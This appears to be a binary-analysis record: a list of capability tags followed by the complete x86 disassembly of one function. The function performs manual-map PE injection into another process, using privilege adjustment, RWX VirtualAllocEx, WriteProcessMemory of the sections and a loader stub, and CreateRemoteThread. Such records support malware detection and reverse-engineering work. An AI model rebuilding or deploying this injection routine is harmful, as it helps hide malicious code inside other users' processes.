Function at 0x464490
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Parse pe header
Resolve function by parsing pe exports
Spawn thread to rwx shellcode

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x660
mov eax, dword [0x5df148]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0xc]
push eax
mov ecx, dword [ebx + 8]
push ecx
call fcn.00466720
add esp, 8
lea edx, [ebp - 0x234]
push edx
push 0x28
push 0xffffffffffffffff
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x464538
mov dword [ebp - 0x18], 1
mov eax, 0xc
imul ecx, eax, 0
mov dword [ebp + ecx - 0xc], 2
mov edx, 0xc
imul eax, edx, 0
mov dword [ebp + eax - 0x14], 0x14
mov ecx, 0xc
imul edx, ecx, 0
mov dword [ebp + edx - 0x10], 0
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
mov ecx, dword [ebp - 0x234]
push ecx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov edx, dword [ebp - 0x234]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx + 8]
mov dword [ebp - 0x2b8], eax
mov ecx, dword [ebp - 0x2b8]
movzx edx, word [ecx]
cmp edx, 0x5a4d
je 0x4645a5
xor eax, eax
mov byte [ebp - 0x291], al
xor ecx, ecx
mov byte [ebp - 0x292], cl
xor edx, edx
mov byte [ebp - 0x293], dl
movzx eax, byte [ebp - 0x291]
push eax
movzx ecx, byte [ebp - 0x292]
push ecx
movzx edx, byte [ebp - 0x293]
push edx
lea ecx, [ebp - 0x410]
call fcn.00463630
mov ecx, eax
call fcn.00465c60
push eax
call fcn.004188c0
add esp, 4
or eax, 0xffffffff
jmp 0x465230
mov eax, dword [ebp - 0x2b8]
mov ecx, dword [ebx + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x260], ecx
mov edx, dword [ebp - 0x260]
cmp dword [edx], 0x4550
je 0x464618
xor eax, eax
mov byte [ebp - 0x294], al
xor ecx, ecx
mov byte [ebp - 0x295], cl
xor edx, edx
mov byte [ebp - 0x296], dl
movzx eax, byte [ebp - 0x294]
push eax
movzx ecx, byte [ebp - 0x295]
push ecx
movzx edx, byte [ebp - 0x296]
push edx
lea ecx, [ebp - 0x320]
call fcn.00463c10
mov ecx, eax
call fcn.00465ad0
push eax
call fcn.004188c0
add esp, 4
or eax, 0xffffffff
jmp 0x465230
mov eax, dword [ebp - 0x260]
movzx ecx, word [eax + 0x16]
and ecx, 0x2000
jne 0x46467d
xor edx, edx
mov byte [ebp - 0x297], dl
xor eax, eax
mov byte [ebp - 0x298], al
xor ecx, ecx
mov byte [ebp - 0x299], cl
movzx edx, byte [ebp - 0x297]
push edx
movzx eax, byte [ebp - 0x298]
push eax
movzx ecx, byte [ebp - 0x299]
push ecx
lea ecx, [ebp - 0x340]
call fcn.004630b0
mov ecx, eax
call fcn.00465ad0
push eax
call fcn.004188c0
add esp, 4
or eax, 0xffffffff
jmp 0x465230
xor edx, edx
mov byte [ebp - 0x261], dl
xor eax, eax
mov byte [ebp - 0x262], al
xor ecx, ecx
mov byte [ebp - 0x263], cl
movzx edx, byte [ebp - 0x261]
push edx
movzx eax, byte [ebp - 0x262]
push eax
movzx ecx, byte [ebp - 0x263]
push ecx
lea ecx, [ebp - 0x360]
call fcn.00463910
mov ecx, eax
call fcn.00465ad0
push eax
call fcn.004188c0
add esp, 4
mov edx, dword [ebx + 0x14]
push edx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 0
jne 0x464767
xor eax, eax
mov byte [ebp - 0x264], al
xor ecx, ecx
mov byte [ebp - 0x265], cl
xor edx, edx
mov byte [ebp - 0x266], dl
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x2c0], eax
movzx eax, byte [ebp - 0x264]
push eax
movzx ecx, byte [ebp - 0x265]
push ecx
movzx edx, byte [ebp - 0x266]
push edx
lea ecx, [ebp - 0x440]
call fcn.00463970
mov ecx, eax
call fcn.00465c60
mov dword [ebp - 0x2f8], eax
mov eax, dword [ebp - 0x2c0]
push eax
mov ecx, dword [ebp - 0x2f8]
push ecx
call fcn.004188c0
add esp, 8
mov edx, dword [ebp - 0x254]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or eax, 0xffffffff
jmp 0x465230
xor eax, eax
mov byte [ebp - 0x267], al
xor ecx, ecx
mov byte [ebp - 0x268], cl
xor edx, edx
mov byte [ebp - 0x269], dl
movzx eax, byte [ebp - 0x267]
push eax
movzx ecx, byte [ebp - 0x268]
push ecx
movzx edx, byte [ebp - 0x269]
push edx
lea ecx, [ebp - 0x530]
call fcn.00463890
mov ecx, eax
call fcn.00465c60
push eax
call fcn.004188c0
add esp, 4
push 0x40
push 0x3000
mov eax, dword [ebp - 0x260]
mov ecx, dword [eax + 0x50]
push ecx
push 0
mov edx, dword [ebp - 0x254]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 0
jne 0x464860
xor eax, eax
mov byte [ebp - 0x26a], al
xor ecx, ecx
mov byte [ebp - 0x26b], cl
xor edx, edx
mov byte [ebp - 0x26c], dl
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x2c4], eax
movzx eax, byte [ebp - 0x26a]
push eax
movzx ecx, byte [ebp - 0x26b]
push ecx
movzx edx, byte [ebp - 0x26c]
push edx
lea ecx, [ebp - 0x5a0]
call fcn.00463590
mov ecx, eax
call fcn.00465ea0
mov dword [ebp - 0x2c8], eax
mov eax, dword [ebp - 0x2c4]
push eax
mov ecx, dword [ebp - 0x2c8]
push ecx
call fcn.004188c0
add esp, 8
mov edx, dword [ebp - 0x254]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or eax, 0xffffffff
jmp 0x465230
xor eax, eax
mov byte [ebp - 0x26d], al
xor ecx, ecx
mov byte [ebp - 0x26e], cl
xor edx, edx
mov byte [ebp - 0x26f], dl
movzx eax, byte [ebp - 0x26d]
push eax
movzx ecx, byte [ebp - 0x26e]
push ecx
movzx edx, byte [ebp - 0x26f]
push edx
lea ecx, [ebp - 0x470]
call fcn.004633f0
mov ecx, eax
call fcn.00465c60
push eax
call fcn.004188c0
add esp, 4
push 0
mov eax, dword [ebp - 0x260]
mov ecx, dword [eax + 0x54]
push ecx
mov edx, dword [ebx + 8]
push edx
mov eax, dword [ebp - 0x258]
push eax
mov ecx, dword [ebp - 0x254]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x464971
xor edx, edx
mov byte [ebp - 0x270], dl
xor eax, eax
mov byte [ebp - 0x271], al
xor ecx, ecx
mov byte [ebp - 0x272], cl
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x2cc], eax
movzx edx, byte [ebp - 0x270]
push edx
movzx eax, byte [ebp - 0x271]
push eax
movzx ecx, byte [ebp - 0x272]
push ecx
lea ecx, [ebp - 0x5e0]
call fcn.004636b0
mov ecx, eax
call fcn.00465ea0
mov dword [ebp - 0x2d0], eax
mov edx, dword [ebp - 0x2cc]
push edx
mov eax, dword [ebp - 0x2d0]
push eax
call fcn.004188c0
add esp, 8
push 0x8000
push 0
mov ecx, dword [ebp - 0x258]
push ecx
mov edx, dword [ebp - 0x254]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, dword [ebp - 0x254]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or eax, 0xffffffff
jmp 0x465230
mov ecx, dword [ebp - 0x260]
add ecx, 0xf8
mov dword [ebp - 0x2b4], ecx
mov dword [ebp - 0x2a0], 0
jmp 0x46499e
mov edx, dword [ebp - 0x2a0]
add edx, 1
mov dword [ebp - 0x2a0], edx
mov eax, dword [ebp - 0x260]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0x2a0], ecx
jae 0x464a00
push 0
imul edx, dword [ebp - 0x2a0], 0x28
mov eax, dword [ebp - 0x2b4]
mov ecx, dword [eax + edx + 0x10]
push ecx
imul edx, dword [ebp - 0x2a0], 0x28
mov eax, dword [ebp - 0x2b4]
mov ecx, dword [ebx + 8]
add ecx, dword [eax + edx + 0x14]
push ecx
imul edx, dword [ebp - 0x2a0], 0x28
mov eax, dword [ebp - 0x2b4]
mov ecx, dword [ebp - 0x258]
add ecx, dword [eax + edx + 0xc]
push ecx
mov edx, dword [ebp - 0x254]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x46498f
xor eax, eax
mov byte [ebp - 0x273], al
xor ecx, ecx
mov byte [ebp - 0x274], cl
xor edx, edx
mov byte [ebp - 0x275], dl
movzx eax, byte [ebp - 0x273]
push eax
movzx ecx, byte [ebp - 0x274]
push ecx
movzx edx, byte [ebp - 0x275]
push edx
lea ecx, [ebp - 0x4a0]
call fcn.00463310
mov ecx, eax
call fcn.00465c60
push eax
call fcn.004188c0
add esp, 4
push 0x40
push 0x3000
push 0x1000
push 0
mov eax, dword [ebp - 0x254]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0
jne 0x464b13
xor ecx, ecx
mov byte [ebp - 0x276], cl
xor edx, edx
mov byte [ebp - 0x277], dl
xor eax, eax
mov byte [ebp - 0x278], al
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x2d4], eax
movzx ecx, byte [ebp - 0x276]
push ecx
movzx edx, byte [ebp - 0x277]
push edx
movzx eax, byte [ebp - 0x278]
push eax
lea ecx, [ebp - 0x620]
call fcn.004631f0
mov ecx, eax
call fcn.00465ea0
mov dword [ebp - 0x2d8], eax
mov ecx, dword [ebp - 0x2d4]
push ecx
mov edx, dword [ebp - 0x2d8]
push edx
call fcn.004188c0
add esp, 8
push 0x8000
push 0
mov eax, dword [ebp - 0x258]
push eax
mov ecx, dword [ebp - 0x254]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov edx, dword [ebp - 0x254]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or eax, 0xffffffff
jmp 0x465230
xor eax, eax
mov byte [ebp - 0x279], al
xor ecx, ecx
mov byte [ebp - 0x27a], cl
xor edx, edx
mov byte [ebp - 0x27b], dl
mov eax, dword [ebp - 0x25c]
push eax
movzx ecx, byte [ebp - 0x279]
push ecx
movzx edx, byte [ebp - 0x27a]
push edx
movzx eax, byte [ebp - 0x27b]
push eax
lea ecx, [ebp - 0x380]
call fcn.00462f70
mov ecx, eax
call fcn.00465ad0
push eax
call fcn.004188c0
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x250], ecx
mov dword [ebp - 0x24c], ecx
mov dword [ebp - 0x248], ecx
mov dword [ebp - 0x244], ecx
mov dword [ebp - 0x240], ecx
mov dword [ebp - 0x23c], ecx
mov dword [ebp - 0x238], ecx
mov edx, dword [ebp - 0x258]
mov dword [ebp - 0x250], edx
mov eax, dword [ebp - 0x2b8]
mov ecx, dword [ebp - 0x258]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x24c], ecx
mov edx, 8
imul eax, edx, 5
mov ecx, dword [ebp - 0x260]
mov edx, dword [ebp - 0x258]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x248], edx
mov eax, 8
shl eax, 0
mov ecx, dword [ebp - 0x260]
mov edx, dword [ebp - 0x258]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x244], edx
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x240], eax
mov ecx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x23c], ecx
push 0x214
push 0
lea edx, [ebp - 0x230]
push edx
call fcn.0049cda0
add esp, 0xc
push 0x214
push 0
lea eax, [ebp - 0x230]
push eax
call fcn.0049cda0
add esp, 0xc
mov ecx, dword [ebp - 0x260]
mov edx, dword [ecx + 0x50]
mov dword [ebp - 0x22c], edx
mov eax, dword [ebp - 0x258]
mov dword [ebp - 0x230], eax
mov cl, byte [ebx + 0x18]
mov byte [ebp - 0x228], cl
mov edx, dword [ebx + 0x10]
mov dword [ebp - 0x2bc], edx
lea eax, [ebp - 0x226]
mov dword [ebp - 0x2b0], eax
mov ecx, dword [ebp - 0x2b0]
mov dword [ebp - 0x300], ecx
mov edx, dword [ebp - 0x2bc]
mov ax, word [edx]
mov word [ebp - 0x2a6], ax
mov ecx, dword [ebp - 0x2b0]
mov dx, word [ebp - 0x2a6]
mov word [ecx], dx
mov eax, dword [ebp - 0x2bc]
add eax, 2
mov dword [ebp - 0x2bc], eax
mov ecx, dword [ebp - 0x2b0]
add ecx, 2
mov dword [ebp - 0x2b0], ecx
cmp word [ebp - 0x2a6], 0
jne 0x464c76
push 4
push 0x3000
push 0x214
push 0
mov edx, dword [ebp - 0x254]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0
jne 0x464da1
xor eax, eax
mov byte [ebp - 0x27c], al
xor ecx, ecx
mov byte [ebp - 0x27d], cl
xor edx, edx
mov byte [ebp - 0x27e], dl
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x2dc], eax
movzx eax, byte [ebp - 0x27c]
push eax
movzx ecx, byte [ebp - 0x27d]
push ecx
movzx edx, byte [ebp - 0x27e]
push edx
lea ecx, [ebp - 0x660]
call fcn.00463a70
mov ecx, eax
call fcn.00465ea0
mov dword [ebp - 0x2e0], eax
mov eax, dword [ebp - 0x2dc]
push eax
mov ecx, dword [ebp - 0x2e0]
push ecx
call fcn.004188c0
add esp, 8
push 0x8000
push 0
mov edx, dword [ebp - 0x25c]
push edx
mov eax, dword [ebp - 0x254]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov ecx, dword [ebp - 0x258]
push ecx
mov edx, dword [ebp - 0x254]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, dword [ebp - 0x254]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or eax, 0xffffffff
jmp 0x465230
push 0
push 0x214
lea ecx, [ebp - 0x230]
push ecx
mov edx, dword [ebp - 0x2a4]
push edx
mov eax, dword [ebp - 0x254]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x464e9b
xor ecx, ecx
mov byte [ebp - 0x27f], cl
xor edx, edx
mov byte [ebp - 0x280], dl
xor eax, eax
mov byte [ebp - 0x281], al
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x2e4], eax
movzx ecx, byte [ebp - 0x27f]
push ecx
movzx edx, byte [ebp - 0x280]
push edx
movzx eax, byte [ebp - 0x281]
push eax
lea ecx, [ebp - 0x4d0]
call fcn.00463030
mov ecx, eax
call fcn.00465c60
mov dword [ebp - 0x2e8], eax
mov ecx, dword [ebp - 0x2e4]
push ecx
mov edx, dword [ebp - 0x2e8]
push edx
call fcn.004188c0
add esp, 8
push 0x8000
push 0
mov eax, dword [ebp - 0x2a4]
push eax
mov ecx, dword [ebp - 0x254]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov edx, dword [ebp - 0x25c]
push edx
mov eax, dword [ebp - 0x254]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov ecx, dword [ebp - 0x258]
push ecx
mov edx, dword [ebp - 0x254]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, dword [ebp - 0x254]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or eax, 0xffffffff
jmp 0x465230
mov ecx, dword [ebp - 0x2a4]
mov dword [ebp - 0x238], ecx
xor edx, edx
mov byte [ebp - 0x282], dl
xor eax, eax
mov byte [ebp - 0x283], al
xor ecx, ecx
mov byte [ebp - 0x284], cl
movzx edx, byte [ebp - 0x282]
push edx
movzx eax, byte [ebp - 0x283]
push eax
movzx ecx, byte [ebp - 0x284]
push ecx
lea ecx, [ebp - 0x500]
call fcn.004639f0
mov ecx, eax
call fcn.00465c60
push eax
call fcn.004188c0
add esp, 4
push 0
push 0x1c
lea edx, [ebp - 0x250]
push edx
mov eax, dword [ebp - 0x25c]
push eax
mov ecx, dword [ebp - 0x254]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
mov edx, 0x464480
sub edx, 0x464210
push edx
push 0x464210
mov eax, dword [ebp - 0x25c]
add eax, 0x1c
push eax
mov ecx, dword [ebp - 0x254]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor edx, edx
mov byte [ebp - 0x285], dl
xor eax, eax
mov byte [ebp - 0x286], al
xor ecx, ecx
mov byte [ebp - 0x287], cl
movzx edx, byte [ebp - 0x285]
push edx
movzx eax, byte [ebp - 0x286]
push eax
movzx ecx, byte [ebp - 0x287]
push ecx
lea ecx, [ebp - 0x3a0]
call fcn.004637b0
mov ecx, eax
call fcn.00465ad0
push eax
call fcn.004188c0
add esp, 4
push 0
push 0
mov edx, dword [ebp - 0x25c]
push edx
mov eax, dword [ebp - 0x25c]
add eax, 0x1c
push eax
push 0
push 0
mov ecx, dword [ebp - 0x254]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 0
jne 0x46508f
xor edx, edx
mov byte [ebp - 0x288], dl
xor eax, eax
mov byte [ebp - 0x289], al
xor ecx, ecx
mov byte [ebp - 0x28a], cl
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x2ec], eax
movzx edx, byte [ebp - 0x288]
push edx
movzx eax, byte [ebp - 0x289]
push eax
movzx ecx, byte [ebp - 0x28a]
push ecx
lea ecx, [ebp - 0x560]
call fcn.00463290
mov ecx, eax
call fcn.00465c60
mov dword [ebp - 0x2fc], eax
mov edx, dword [ebp - 0x2ec]
push edx
mov eax, dword [ebp - 0x2fc]
push eax
call fcn.004188c0
add esp, 8
push 0x8000
push 0
mov ecx, dword [ebp - 0x2a4]
push ecx
mov edx, dword [ebp - 0x254]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov eax, dword [ebp - 0x25c]
push eax
mov ecx, dword [ebp - 0x254]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov edx, dword [ebp - 0x258]
push edx
mov eax, dword [ebp - 0x254]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, dword [ebp - 0x254]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or eax, 0xffffffff
jmp 0x465230
push 0xffffffffffffffff
mov edx, dword [ebp - 0x2ac]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 0x2ac]
push ecx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [ebp - 8], 0
jne 0x465128
push 0x8000
push 0
mov edx, dword [ebp - 0x2a4]
push edx
mov eax, dword [ebp - 0x254]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov ecx, dword [ebp - 0x25c]
push ecx
mov edx, dword [ebp - 0x254]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov eax, dword [ebp - 0x258]
push eax
mov ecx, dword [ebp - 0x254]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov edx, dword [ebp - 0x2ac]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x254]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or eax, 0xffffffff
jmp 0x465230
mov ecx, dword [ebp - 0x2ac]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
mov edx, dword [ebp - 0x25c]
push edx
mov eax, dword [ebp - 0x254]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, dword [ebp - 0x254]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov byte [ebp - 0x28b], dl
xor eax, eax
mov byte [ebp - 0x28c], al
xor ecx, ecx
mov byte [ebp - 0x28d], cl
mov edx, dword [ebp - 0x258]
push edx
movzx eax, byte [ebp - 0x28b]
push eax
movzx ecx, byte [ebp - 0x28c]
push ecx
movzx edx, byte [ebp - 0x28d]
push edx
lea ecx, [ebp - 0x3c0]
call fcn.00462fd0
mov ecx, eax
call fcn.00465ad0
push eax
call fcn.004188c0
add esp, 8
mov eax, dword [ebp - 0x260]
cmp dword [eax + 0x28], 0
je 0x46522e
xor ecx, ecx
mov byte [ebp - 0x28e], cl
xor edx, edx
mov byte [ebp - 0x28f], dl
xor eax, eax
mov byte [ebp - 0x290], al
mov ecx, dword [ebp - 0x260]
mov edx, dword [ebp - 0x258]
add edx, dword [ecx + 0x28]
mov dword [ebp - 0x2f0], edx
movzx eax, byte [ebp - 0x28e]
push eax
movzx ecx, byte [ebp - 0x28f]
push ecx
movzx edx, byte [ebp - 0x290]
push edx
lea ecx, [ebp - 0x3e0]
call fcn.00463390
mov ecx, eax
call fcn.00465ad0
mov dword [ebp - 0x2f4], eax
mov eax, dword [ebp - 0x2f0]
push eax
mov ecx, dword [ebp - 0x2f4]
push ecx
call fcn.004188c0
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00498f73
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret